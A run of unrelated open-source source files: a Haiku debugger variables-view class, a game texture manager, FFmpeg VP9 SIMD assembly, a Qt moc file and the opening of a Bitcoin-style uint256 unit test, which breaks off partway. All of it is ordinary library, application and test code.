/* * Copyright 2013-2014, Rene Gollent, rene@gollent.com. * Copyright 2009, Ingo Weinhold, ingo_weinhold@gmx.de. * Distributed under the terms of the MIT License. */ #include "VariablesViewState.h" #include <new> #include "ExpressionValues.h" #include "FunctionID.h" #include "StackFrameValues.h" #include "Type.h" #include "TypeComponentPath.h" // #pragma mark - VariablesViewNodeInfo VariablesViewNodeInfo::VariablesViewNodeInfo() : fNodeExpanded(false), fCastedType(NULL), fRendererSettings() { } VariablesViewNodeInfo::VariablesViewNodeInfo(const VariablesViewNodeInfo& other) : fNodeExpanded(other.fNodeExpanded), fCastedType(other.fCastedType), fRendererSettings(other.fRendererSettings) { if (fCastedType != NULL) fCastedType->AcquireReference(); } VariablesViewNodeInfo::~VariablesViewNodeInfo() { if (fCastedType != NULL) fCastedType->ReleaseReference(); } VariablesViewNodeInfo& VariablesViewNodeInfo::operator=(const VariablesViewNodeInfo& other) { fNodeExpanded = other.fNodeExpanded; SetCastedType(other.fCastedType); fRendererSettings = other.fRendererSettings; return *this; } void VariablesViewNodeInfo::SetNodeExpanded(bool expanded) { fNodeExpanded = expanded; } void VariablesViewNodeInfo::SetCastedType(Type* type) { if (fCastedType != NULL) fCastedType->ReleaseReference(); fCastedType = type; if (fCastedType != NULL) fCastedType->AcquireReference(); } void VariablesViewNodeInfo::SetRendererSettings(const BMessage& settings) { fRendererSettings = settings; } // #pragma mark - Key struct VariablesViewState::Key { ObjectID* variable; TypeComponentPath* path; Key(ObjectID* variable, TypeComponentPath* path) : variable(variable), path(path) { } uint32 HashValue() const { return variable->HashValue() ^ path->HashValue(); } bool operator==(const Key& other) const { return *variable == *other.variable && *path == *other.path; } }; // #pragma mark - InfoEntry struct VariablesViewState::InfoEntry : Key, VariablesViewNodeInfo { InfoEntry* next; InfoEntry(ObjectID* variable, TypeComponentPath* path) : Key(variable, path) { variable->AcquireReference(); path->AcquireReference(); } ~InfoEntry() { variable->ReleaseReference(); path->ReleaseReference(); } void SetInfo(const VariablesViewNodeInfo& info) { VariablesViewNodeInfo::operator=(info); } }; struct VariablesViewState::InfoEntryHashDefinition { typedef Key KeyType; typedef InfoEntry ValueType; size_t HashKey(const Key& key) const { return key.HashValue(); } size_t Hash(const InfoEntry* value) const { return value->HashValue(); } bool Compare(const Key& key, const InfoEntry* value) const { return key == *value; } InfoEntry*& GetLink(InfoEntry* value) const { return value->next; } }; VariablesViewState::VariablesViewState() : fNodeInfos(NULL), fValues(NULL), fExpressionValues(NULL) { } VariablesViewState::~VariablesViewState() { _Cleanup(); } status_t VariablesViewState::Init() { fNodeInfos = new(std::nothrow) NodeInfoTable; if (fNodeInfos == NULL) return B_NO_MEMORY; return fNodeInfos->Init(); } void VariablesViewState::SetValues(StackFrameValues* values) { if (fValues == values) return; if (fValues != NULL) fValues->ReleaseReference(); fValues = values; if (fValues != NULL) fValues->AcquireReference(); } void VariablesViewState::SetExpressionValues(ExpressionValues* values) { if (fExpressionValues == values) return; if (fExpressionValues != NULL) fExpressionValues->ReleaseReference(); fExpressionValues = values; if (fExpressionValues != NULL) fExpressionValues->AcquireReference(); } const VariablesViewNodeInfo* VariablesViewState::GetNodeInfo(ObjectID* variable, const TypeComponentPath* path) const { return fNodeInfos->Lookup(Key(variable, (TypeComponentPath*)path)); } status_t VariablesViewState::SetNodeInfo(ObjectID* variable, TypeComponentPath* path, const VariablesViewNodeInfo& info) { InfoEntry* entry = fNodeInfos->Lookup(Key(variable, path)); if (entry == NULL) { entry = new(std::nothrow) InfoEntry(variable, path); if (entry == NULL) return B_NO_MEMORY; fNodeInfos->Insert(entry); } entry->SetInfo(info); return B_OK; } void VariablesViewState::_Cleanup() { if (fNodeInfos != NULL) { InfoEntry* entry = fNodeInfos->Clear(true); while (entry != NULL) { InfoEntry* next = entry->next; delete entry; entry = next; } delete fNodeInfos; fNodeInfos = NULL; } SetValues(NULL); }
// Copyright 2019 the Drakhtar authors. All rights reserved. MIT license. #include "TextureManager.h" #include "../Errors/DrakhtarError.h" #include "Structures/Game.h" #include "Utils/TimePool.h" TextureManager* TextureManager::instance_ = nullptr; TextureManager* TextureManager::getInstance() { if (instance_ == nullptr) { instance_ = new TextureManager(); } return instance_; } TextureManager::TextureManager() = default; Texture* TextureManager::add(const std::string& name, const std::string& path, const Uint16 columns, const Uint16 rows) { const auto texture = new Texture(Game::getRenderer()); texture->loadFromImage(path, rows, columns); map_.insert(std::pair<std::string, Texture*>(name, texture)); return texture; } void TextureManager::init() { for (const auto& pair : map_) { const auto texture = pair.second; // If there was no default animation override, add it if (!texture->hasAnimation("default")) { const Uint16 frames = static_cast<Uint16>(texture->getColumnAmount() * texture->getRowAmount()); std::vector<Uint16> animation(frames); for (Uint16 i = 0; i < frames; i++) animation[i] = i; texture->addAnimation("default", animation); } texture->setAnimation("default"); } } void TextureManager::tick() { if (instance_ == nullptr) return; for (auto& pair : map_) { pair.second->tick(); } } Texture* TextureManager::get(const std::string& name) { return getInstance()->map_[name]; } TextureManager::~TextureManager() { for (auto& pair : map_) delete pair.second; map_.clear(); } void TextureManager::destroy() { if (instance_ != nullptr) { delete instance_; instance_ = nullptr; } }
;****************************************************************************** ;* VP9 MC SIMD optimizations ;* ;* Copyright (c) 2013 Ronald S. Bultje <rsbultje gmail com> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA 32 cextern pw_256 cextern pw_64 %macro F8_SSSE3_TAPS 8 times 16 db %1, %2 times 16 db %3, %4 times 16 db %5, %6 times 16 db %7, %8 %endmacro %macro F8_SSE2_TAPS 8 times 8 dw %1 times 8 dw %2 times 8 dw %3 times 8 dw %4 times 8 dw %5 times 8 dw %6 times 8 dw %7 times 8 dw %8 %endmacro %macro F8_16BPP_TAPS 8 times 8 dw %1, %2 times 8 dw %3, %4 times 8 dw %5, %6 times 8 dw %7, %8 %endmacro %macro FILTER 1 const filters_%1 ; smooth F8_TAPS -3, -1, 32, 64, 38, 1, -3, 0 F8_TAPS -2, -2, 29, 63, 41, 2, -3, 0 F8_TAPS -2, -2, 26, 63, 43, 4, -4, 0 F8_TAPS -2, -3, 24, 62, 46, 5, -4, 0 F8_TAPS -2, -3, 21, 60, 49, 7, -4, 0 F8_TAPS -1, -4, 18, 59, 51, 9, -4, 0 F8_TAPS -1, -4, 16, 57, 53, 12, -4, -1 F8_TAPS -1, -4, 14, 55, 55, 14, -4, -1 F8_TAPS -1, -4, 12, 53, 57, 16, -4, -1 F8_TAPS 0, -4, 9, 51, 59, 18, -4, -1 F8_TAPS 0, -4, 7, 49, 60, 21, -3, -2 F8_TAPS 0, -4, 5, 46, 62, 24, -3, -2 F8_TAPS 0, -4, 4, 43, 63, 26, -2, -2 F8_TAPS 0, -3, 2, 41, 63, 29, -2, -2 F8_TAPS 0, -3, 1, 38, 64, 32, -1, -3 ; regular F8_TAPS 0, 1, -5, 126, 8, -3, 1, 0 F8_TAPS -1, 3, -10, 122, 18, -6, 2, 0 F8_TAPS -1, 4, -13, 118, 27, -9, 3, -1 F8_TAPS -1, 4, -16, 112, 37, -11, 4, -1 F8_TAPS -1, 5, -18, 105, 48, -14, 4, -1 F8_TAPS -1, 5, -19, 97, 58, -16, 5, -1 F8_TAPS -1, 6, -19, 88, 68, -18, 5, -1 F8_TAPS -1, 6, -19, 78, 78, -19, 6, -1 F8_TAPS -1, 5, -18, 68, 88, -19, 6, -1 F8_TAPS -1, 5, -16, 58, 97, -19, 5, -1 F8_TAPS -1, 4, -14, 48, 105, -18, 5, -1 F8_TAPS -1, 4, -11, 37, 112, -16, 4, -1 F8_TAPS -1, 3, -9, 27, 118, -13, 4, -1 F8_TAPS 0, 2, -6, 18, 122, -10, 3, -1 F8_TAPS 0, 1, -3, 8, 126, -5, 1, 0 ; sharp F8_TAPS -1, 3, -7, 127, 8, -3, 1, 0 F8_TAPS -2, 5, -13, 125, 17, -6, 3, -1 F8_TAPS -3, 7, -17, 121, 27, -10, 5, -2 F8_TAPS -4, 9, -20, 115, 37, -13, 6, -2 F8_TAPS -4, 10, -23, 108, 48, -16, 8, -3 F8_TAPS -4, 10, -24, 100, 59, -19, 9, -3 F8_TAPS -4, 11, -24, 90, 70, -21, 10, -4 F8_TAPS -4, 11, -23, 80, 80, -23, 11, -4 F8_TAPS -4, 10, -21, 70, 90, -24, 11, -4 F8_TAPS -3, 9, -19, 59, 100, -24, 10, -4 F8_TAPS -3, 8, -16, 48, 108, -23, 10, -4 F8_TAPS -2, 6, -13, 37, 115, -20, 9, -4 F8_TAPS -2, 5, -10, 27, 121, -17, 7, -3 F8_TAPS -1, 3, -6, 17, 125, -13, 5, -2 F8_TAPS 0, 1, -3, 8, 127, -7, 3, -1 %endmacro %define F8_TAPS F8_SSSE3_TAPS ; int8_t ff_filters_ssse3[3][15][4][32] FILTER ssse3 %define F8_TAPS F8_SSE2_TAPS ; int16_t ff_filters_sse2[3][15][8][8] FILTER sse2 %define F8_TAPS F8_16BPP_TAPS ; int16_t ff_filters_16bpp[3][15][4][16] FILTER 16bpp SECTION .text %macro filter_sse2_h_fn 1 %assign %%px mmsize/2 cglobal vp9_%1_8tap_1d_h_ %+ %%px %+ _8, 6, 6, 15, dst, dstride, src, sstride, h, filtery pxor m5, m5 mova m6, [pw_64] mova m7, [filteryq+ 0] %if ARCH_X86_64 && mmsize > 8 mova m8, [filteryq+ 16] mova m9, [filteryq+ 32] mova m10, [filteryq+ 48] mova m11, [filteryq+ 64] mova m12, [filteryq+ 80] mova m13, [filteryq+ 96] mova m14, [filteryq+112] %endif .loop: movh m0, [srcq-3] movh m1, [srcq-2] movh m2, [srcq-1] movh m3, [srcq+0] movh m4, [srcq+1] punpcklbw m0, m5 punpcklbw m1, m5 punpcklbw m2, m5 punpcklbw m3, m5 punpcklbw m4, m5 pmullw m0, m7 %if ARCH_X86_64 && mmsize > 8 pmullw m1, m8 pmullw m2, m9 pmullw m3, m10 pmullw m4, m11 %else pmullw m1, [filteryq+ 16] pmullw m2, [filteryq+ 32] pmullw m3, [filteryq+ 48] pmullw m4, [filteryq+ 64] %endif paddw m0, m1 paddw m2, m3 paddw m0, m4 movh m1, [srcq+2] movh m3, [srcq+3] movh m4, [srcq+4] add srcq, sstrideq punpcklbw m1, m5 punpcklbw m3, m5 punpcklbw m4, m5 %if ARCH_X86_64 && mmsize > 8 pmullw m1, m12 pmullw m3, m13 pmullw m4, m14 %else pmullw m1, [filteryq+ 80] pmullw m3, [filteryq+ 96] pmullw m4, [filteryq+112] %endif paddw m0, m1 paddw m3, m4 paddw m0, m6 paddw m2, m3 paddsw m0, m2 psraw m0, 7 %ifidn %1, avg movh m1, [dstq] %endif packuswb m0, m0 %ifidn %1, avg pavgb m0, m1 %endif movh [dstq], m0 add dstq, dstrideq dec hd jg .loop RET %endmacro INIT_MMX mmxext filter_sse2_h_fn put filter_sse2_h_fn avg INIT_XMM sse2 filter_sse2_h_fn put filter_sse2_h_fn avg %macro filter_h_fn 1 %assign %%px mmsize/2 cglobal vp9_%1_8tap_1d_h_ %+ %%px %+ _8, 6, 6, 11, dst, dstride, src, sstride, h, filtery mova m6, [pw_256] mova m7, [filteryq+ 0] %if ARCH_X86_64 && mmsize > 8 mova m8, [filteryq+32] mova m9, [filteryq+64] mova m10, [filteryq+96] %endif .loop: movh m0, [srcq-3] movh m1, [srcq-2] movh m2, [srcq-1] movh m3, [srcq+0] movh m4, [srcq+1] movh m5, [srcq+2] punpcklbw m0, m1 punpcklbw m2, m3 movh m1, [srcq+3] movh m3, [srcq+4] add srcq, sstrideq punpcklbw m4, m5 punpcklbw m1, m3 pmaddubsw m0, m7 %if ARCH_X86_64 && mmsize > 8 pmaddubsw m2, m8 pmaddubsw m4, m9 pmaddubsw m1, m10 %else pmaddubsw m2, [filteryq+32] pmaddubsw m4, [filteryq+64] pmaddubsw m1, [filteryq+96] %endif paddw m0, m4 paddw m2, m1 paddsw m0, m2 pmulhrsw m0, m6 %ifidn %1, avg movh m1, [dstq] %endif packuswb m0, m0 %ifidn %1, avg pavgb m0, m1 %endif movh [dstq], m0 add dstq, dstrideq dec hd jg .loop RET %endmacro INIT_MMX ssse3 filter_h_fn put filter_h_fn avg INIT_XMM ssse3 filter_h_fn put filter_h_fn avg %if ARCH_X86_64 %macro filter_hx2_fn 1 %assign %%px mmsize cglobal vp9_%1_8tap_1d_h_ %+ %%px %+ _8, 6, 6, 14, dst, dstride, src, sstride, h, filtery mova m13, [pw_256] mova m8, [filteryq+ 0] mova m9, [filteryq+32] mova m10, [filteryq+64] mova m11, [filteryq+96] .loop: movu m0, [srcq-3] movu m1, [srcq-2] movu m2, [srcq-1] movu m3, [srcq+0] movu m4, [srcq+1] movu m5, [srcq+2] movu m6, [srcq+3] movu m7, [srcq+4] add srcq, sstrideq SBUTTERFLY bw, 0, 1, 12 SBUTTERFLY bw, 2, 3, 12 SBUTTERFLY bw, 4, 5, 12 SBUTTERFLY bw, 6, 7, 12 pmaddubsw m0, m8 pmaddubsw m1, m8 pmaddubsw m2, m9 pmaddubsw m3, m9 pmaddubsw m4, m10 pmaddubsw m5, m10 pmaddubsw m6, m11 pmaddubsw m7, m11 paddw m0, m4 paddw m1, m5 paddw m2, m6 paddw m3, m7 paddsw m0, m2 paddsw m1, m3 pmulhrsw m0, m13 pmulhrsw m1, m13 packuswb m0, m1 %ifidn %1, avg pavgb m0, [dstq] %endif mova [dstq], m0 add dstq, dstrideq dec hd jg .loop RET %endmacro INIT_XMM ssse3 filter_hx2_fn put filter_hx2_fn avg %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 filter_hx2_fn put filter_hx2_fn avg %endif %endif ; ARCH_X86_64 %macro filter_sse2_v_fn 1 %assign %%px mmsize/2 %if ARCH_X86_64 cglobal vp9_%1_8tap_1d_v_ %+ %%px %+ _8, 6, 8, 15, dst, dstride, src, sstride, h, filtery, src4, sstride3 %else cglobal vp9_%1_8tap_1d_v_ %+ %%px %+ _8, 4, 7, 15, dst, dstride, src, sstride, filtery, src4, sstride3 mov filteryq, r5mp %define hd r4mp %endif pxor m5, m5 mova m6, [pw_64] lea sstride3q, [sstrideq*3] lea src4q, [srcq+sstrideq] sub srcq, sstride3q mova m7, [filteryq+ 0] %if ARCH_X86_64 && mmsize > 8 mova m8, [filteryq+ 16] mova m9, [filteryq+ 32] mova m10, [filteryq+ 48] mova m11, [filteryq+ 64] mova m12, [filteryq+ 80] mova m13, [filteryq+ 96] mova m14, [filteryq+112] %endif .loop: ; FIXME maybe reuse loads from previous rows, or just ; more generally unroll this to prevent multiple loads of ; the same data? movh m0, [srcq] movh m1, [srcq+sstrideq] movh m2, [srcq+sstrideq*2] movh m3, [srcq+sstride3q] add srcq, sstrideq movh m4, [src4q] punpcklbw m0, m5 punpcklbw m1, m5 punpcklbw m2, m5 punpcklbw m3, m5 punpcklbw m4, m5 pmullw m0, m7 %if ARCH_X86_64 && mmsize > 8 pmullw m1, m8 pmullw m2, m9 pmullw m3, m10 pmullw m4, m11 %else pmullw m1, [filteryq+ 16] pmullw m2, [filteryq+ 32] pmullw m3, [filteryq+ 48] pmullw m4, [filteryq+ 64] %endif paddw m0, m1 paddw m2, m3 paddw m0, m4 movh m1, [src4q+sstrideq] movh m3, [src4q+sstrideq*2] movh m4, [src4q+sstride3q] add src4q, sstrideq punpcklbw m1, m5 punpcklbw m3, m5 punpcklbw m4, m5 %if ARCH_X86_64 && mmsize > 8 pmullw m1, m12 pmullw m3, m13 pmullw m4, m14 %else pmullw m1, [filteryq+ 80] pmullw m3, [filteryq+ 96] pmullw m4, [filteryq+112] %endif paddw m0, m1 paddw m3, m4 paddw m0, m6 paddw m2, m3 paddsw m0, m2 psraw m0, 7 %ifidn %1, avg movh m1, [dstq] %endif packuswb m0, m0 %ifidn %1, avg pavgb m0, m1 %endif movh [dstq], m0 add dstq, dstrideq dec hd jg .loop RET %endmacro INIT_MMX mmxext filter_sse2_v_fn put filter_sse2_v_fn avg INIT_XMM sse2 filter_sse2_v_fn put filter_sse2_v_fn avg %macro filter_v_fn 1 %assign %%px mmsize/2 %if ARCH_X86_64 cglobal vp9_%1_8tap_1d_v_ %+ %%px %+ _8, 6, 8, 11, dst, dstride, src, sstride, h, filtery, src4, sstride3 %else cglobal vp9_%1_8tap_1d_v_ %+ %%px %+ _8, 4, 7, 11, dst, dstride, src, sstride, filtery, src4, sstride3 mov filteryq, r5mp %define hd r4mp %endif mova m6, [pw_256] lea sstride3q, [sstrideq*3] lea src4q, [srcq+sstrideq] sub srcq, sstride3q mova m7, [filteryq+ 0] %if ARCH_X86_64 && mmsize > 8 mova m8, [filteryq+32] mova m9, [filteryq+64] mova m10, [filteryq+96] %endif .loop: ; FIXME maybe reuse loads from previous rows, or just ; more generally unroll this to prevent multiple loads of ; the same data? movh m0, [srcq] movh m1, [srcq+sstrideq] movh m2, [srcq+sstrideq*2] movh m3, [srcq+sstride3q] movh m4, [src4q] movh m5, [src4q+sstrideq] punpcklbw m0, m1 punpcklbw m2, m3 movh m1, [src4q+sstrideq*2] movh m3, [src4q+sstride3q] add srcq, sstrideq add src4q, sstrideq punpcklbw m4, m5 punpcklbw m1, m3 pmaddubsw m0, m7 %if ARCH_X86_64 && mmsize > 8 pmaddubsw m2, m8 pmaddubsw m4, m9 pmaddubsw m1, m10 %else pmaddubsw m2, [filteryq+32] pmaddubsw m4, [filteryq+64] pmaddubsw m1, [filteryq+96] %endif paddw m0, m4 paddw m2, m1 paddsw m0, m2 pmulhrsw m0, m6 %ifidn %1, avg movh m1, [dstq] %endif packuswb m0, m0 %ifidn %1, avg pavgb m0, m1 %endif movh [dstq], m0 add dstq, dstrideq dec hd jg .loop RET %endmacro INIT_MMX ssse3 filter_v_fn put filter_v_fn avg INIT_XMM ssse3 filter_v_fn put filter_v_fn avg %if ARCH_X86_64 %macro filter_vx2_fn 1 %assign %%px mmsize cglobal vp9_%1_8tap_1d_v_ %+ %%px %+ _8, 6, 8, 14, dst, dstride, src, sstride, h, filtery, src4, sstride3 mova m13, [pw_256] lea sstride3q, [sstrideq*3] lea src4q, [srcq+sstrideq] sub srcq, sstride3q mova m8, [filteryq+ 0] mova m9, [filteryq+32] mova m10, [filteryq+64] mova m11, [filteryq+96] .loop: ; FIXME maybe reuse loads from previous rows, or just ; more generally unroll this to prevent multiple loads of ; the same data? movu m0, [srcq] movu m1, [srcq+sstrideq] movu m2, [srcq+sstrideq*2] movu m3, [srcq+sstride3q] movu m4, [src4q] movu m5, [src4q+sstrideq] movu m6, [src4q+sstrideq*2] movu m7, [src4q+sstride3q] add srcq, sstrideq add src4q, sstrideq SBUTTERFLY bw, 0, 1, 12 SBUTTERFLY bw, 2, 3, 12 SBUTTERFLY bw, 4, 5, 12 SBUTTERFLY bw, 6, 7, 12 pmaddubsw m0, m8 pmaddubsw m1, m8 pmaddubsw m2, m9 pmaddubsw m3, m9 pmaddubsw m4, m10 pmaddubsw m5, m10 pmaddubsw m6, m11 pmaddubsw m7, m11 paddw m0, m4 paddw m1, m5 paddw m2, m6 paddw m3, m7 paddsw m0, m2 paddsw m1, m3 pmulhrsw m0, m13 pmulhrsw m1, m13 packuswb m0, m1 %ifidn %1, avg pavgb m0, [dstq] %endif mova [dstq], m0 add dstq, dstrideq dec hd jg .loop RET %endmacro INIT_XMM ssse3 filter_vx2_fn put filter_vx2_fn avg %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 filter_vx2_fn put filter_vx2_fn avg %endif %endif ; ARCH_X86_64 %macro fpel_fn 6-8 0, 4 %if %2 == 4 %define %%srcfn movh %define %%dstfn movh %else %define %%srcfn movu %define %%dstfn mova %endif %if %7 == 8 %define %%pavg pavgb %define %%szsuf _8 %elif %7 == 16 %define %%pavg pavgw %define %%szsuf _16 %else %define %%szsuf %endif %if %2 <= mmsize cglobal vp9_%1%2 %+ %%szsuf, 5, 7, 4, dst, dstride, src, sstride, h, dstride3, sstride3 lea sstride3q, [sstrideq*3] lea dstride3q, [dstrideq*3] %else cglobal vp9_%1%2 %+ %%szsuf, 5, 5, %8, dst, dstride, src, sstride, h %endif .loop: %%srcfn m0, [srcq] %%srcfn m1, [srcq+s%3] %%srcfn m2, [srcq+s%4] %%srcfn m3, [srcq+s%5] %if %2/mmsize == 8 %%srcfn m4, [srcq+mmsize*4] %%srcfn m5, [srcq+mmsize*5] %%srcfn m6, [srcq+mmsize*6] %%srcfn m7, [srcq+mmsize*7] %endif lea srcq, [srcq+sstrideq*%6] %ifidn %1, avg %%pavg m0, [dstq] %%pavg m1, [dstq+d%3] %%pavg m2, [dstq+d%4] %%pavg m3, [dstq+d%5] %if %2/mmsize == 8 %%pavg m4, [dstq+mmsize*4] %%pavg m5, [dstq+mmsize*5] %%pavg m6, [dstq+mmsize*6] %%pavg m7, [dstq+mmsize*7] %endif %endif %%dstfn [dstq], m0 %%dstfn [dstq+d%3], m1 %%dstfn [dstq+d%4], m2 %%dstfn [dstq+d%5], m3 %if %2/mmsize == 8 %%dstfn [dstq+mmsize*4], m4 %%dstfn [dstq+mmsize*5], m5 %%dstfn [dstq+mmsize*6], m6 %%dstfn [dstq+mmsize*7], m7 %endif lea dstq, [dstq+dstrideq*%6] sub hd, %6 jnz .loop RET %endmacro %define d16 16 %define s16 16 %define d32 32 %define s32 32 INIT_MMX mmx fpel_fn put, 4, strideq, strideq*2, stride3q, 4 fpel_fn put, 8, strideq, strideq*2, stride3q, 4 INIT_MMX mmxext fpel_fn avg, 4, strideq, strideq*2, stride3q, 4, 8 fpel_fn avg, 8, strideq, strideq*2, stride3q, 4, 8 INIT_XMM sse fpel_fn put, 16, strideq, strideq*2, stride3q, 4 fpel_fn put, 32, mmsize, strideq, strideq+mmsize, 2 fpel_fn put, 64, mmsize, mmsize*2, mmsize*3, 1 fpel_fn put, 128, mmsize, mmsize*2, mmsize*3, 1, 0, 8 INIT_XMM sse2 fpel_fn avg, 16, strideq, strideq*2, stride3q, 4, 8 fpel_fn avg, 32, mmsize, strideq, strideq+mmsize, 2, 8 fpel_fn avg, 64, mmsize, mmsize*2, mmsize*3, 1, 8 INIT_YMM avx fpel_fn put, 32, strideq, strideq*2, stride3q, 4 fpel_fn put, 64, mmsize, strideq, strideq+mmsize, 2 fpel_fn put, 128, mmsize, mmsize*2, mmsize*3, 1 %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 fpel_fn avg, 32, strideq, strideq*2, stride3q, 4, 8 fpel_fn avg, 64, mmsize, strideq, strideq+mmsize, 2, 8 %endif INIT_MMX mmxext fpel_fn avg, 8, strideq, strideq*2, stride3q, 4, 16 INIT_XMM sse2 fpel_fn avg, 16, strideq, strideq*2, stride3q, 4, 16 fpel_fn avg, 32, mmsize, strideq, strideq+mmsize, 2, 16 fpel_fn avg, 64, mmsize, mmsize*2, mmsize*3, 1, 16 fpel_fn avg, 128, mmsize, mmsize*2, mmsize*3, 1, 16, 8 %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 fpel_fn avg, 32, strideq, strideq*2, stride3q, 4, 16 fpel_fn avg, 64, mmsize, strideq, strideq+mmsize, 2, 16 fpel_fn avg, 128, mmsize, mmsize*2, mmsize*3, 1, 16 %endif %undef s16 %undef d16 %undef s32 %undef d32
/**************************************************************************** ** Meta object code from reading C++ file 'macnotificationhandler.h' ** ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.0.2) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../src/qt/macnotificationhandler.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'macnotificationhandler.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.0.2. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_MacNotificationHandler_t { QByteArrayData data[1]; char stringdata[24]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ offsetof(qt_meta_stringdata_MacNotificationHandler_t, stringdata) + ofs \ - idx * sizeof(QByteArrayData) \ ) static const qt_meta_stringdata_MacNotificationHandler_t qt_meta_stringdata_MacNotificationHandler = { { QT_MOC_LITERAL(0, 0, 22) }, "MacNotificationHandler\0" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_MacNotificationHandler[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 0, 0, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount 0 // eod }; void MacNotificationHandler::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { Q_UNUSED(_o); Q_UNUSED(_id); Q_UNUSED(_c); Q_UNUSED(_a); } const QMetaObject MacNotificationHandler::staticMetaObject = { { &QObject::staticMetaObject, qt_meta_stringdata_MacNotificationHandler.data, qt_meta_data_MacNotificationHandler, qt_static_metacall, 0, 0} }; const QMetaObject *MacNotificationHandler::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *MacNotificationHandler::qt_metacast(const char *_clname) { if (!_clname) return 0; if (!strcmp(_clname, qt_meta_stringdata_MacNotificationHandler.stringdata)) return static_cast<void*>(const_cast< MacNotificationHandler*>(this)); return QObject::qt_metacast(_clname); } int MacNotificationHandler::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QObject::qt_metacall(_c, _id, _a); if (_id < 0) return _id; return _id; } QT_END_MOC_NAMESPACE
// Copyright (c) 2011-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <arith_uint256.h> #include <uint256.h> #include <version.h> #include <test/test_titcoin.h> #include <boost/test/unit_test.hpp> #include <stdint.h> #include <sstream> #include <iomanip> #include <limits> #include <cmath> #include <string> #include <stdio.h> BOOST_FIXTURE_TEST_SUITE(uint256_tests, BasicTestingSetup) const unsigned char R1Array[] = "\x9c\x52\x4a\xdb\xcf\x56\x11\x12\x2b\x29\x12\x5e\x5d\x35\xd2\xd2" "\x22\x81\xaa\xb5\x33\xf0\x08\x32\xd5\x56\xb1\xf9\xea\xe5\x1d\x7d"; const char R1ArrayHex[] = "7D1DE5EAF9B156D53208F033B5AA8122D2d2355d5e12292b121156cfdb4a529c"; const uint256 R1L = uint256(std::vector<unsigned char>(R1Array,R1Array+32)); const uint160 R1S = uint160(std::vector<unsigned char>(R1Array,R1Array+20)); const unsigned char R2Array[] = "\x70\x32\x1d\x7c\x47\xa5\x6b\x40\x26\x7e\x0a\xc3\xa6\x9c\xb6\xbf" "\x13\x30\x47\xa3\x19\x2d\xda\x71\x49\x13\x72\xf0\xb4\xca\x81\xd7"; const uint256 R2L = uint256(std::vector<unsigned char>(R2Array,R2Array+32)); const uint160 R2S = uint160(std::vector<unsigned char>(R2Array,R2Array+20)); const unsigned char ZeroArray[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; const uint256 ZeroL = uint256(std::vector<unsigned char>(ZeroArray,ZeroArray+32)); const uint160 ZeroS = uint160(std::vector<unsigned char>(ZeroArray,ZeroArray+20)); const unsigned char OneArray[] = "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; const uint256 OneL = uint256(std::vector<unsigned char>(OneArray,OneArray+32)); const uint160 OneS = uint160(std::vector<unsigned char>(OneArray,OneArray+20)); const unsigned char MaxArray[] = "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; const uint256 MaxL = uint256(std::vector<unsigned char>(MaxArray,MaxArray+32)); const uint160 MaxS = uint160(std::vector<unsigned char>(MaxArray,MaxArray+20)); std::string ArrayToString(const unsigned char A[], unsigned int width) { std::stringstream Stream; Stream << std::hex; for (unsigned int i = 0; i < width; ++i) { Stream<<std::setw(2)<<std::setfill('0')<<(unsigned int)A[width-i-1]; } return Stream.str(); } inline uint160 uint160S(const char *str) { uint160 rv; rv.SetHex(str); return rv; } inline uint160 uint160S(const std::string& str) { uint160 rv; rv.SetHex(str); return rv; } BOOST_AUTO_TEST_CASE( basics ) // constructors, equality, inequality { BOOST_CHECK(1 == 0+1); // constructor uint256(vector<char>): BOOST_CHECK(R1L.ToString() == ArrayToString(R1Array,32)); BOOST_CHECK(R1S.ToString() == ArrayToString(R1Array,20)); BOOST_CHECK(R2L.ToString() == ArrayToString(R2Array,32)); BOOST_CHECK(R2S.ToString() == ArrayToString(R2Array,20)); BOOST_CHECK(ZeroL.ToString() == ArrayToString(ZeroArray,32)); BOOST_CHECK(ZeroS.ToString() == ArrayToString(ZeroArray,20)); BOOST_CHECK(OneL.ToString() == ArrayToString(OneArray,32)); 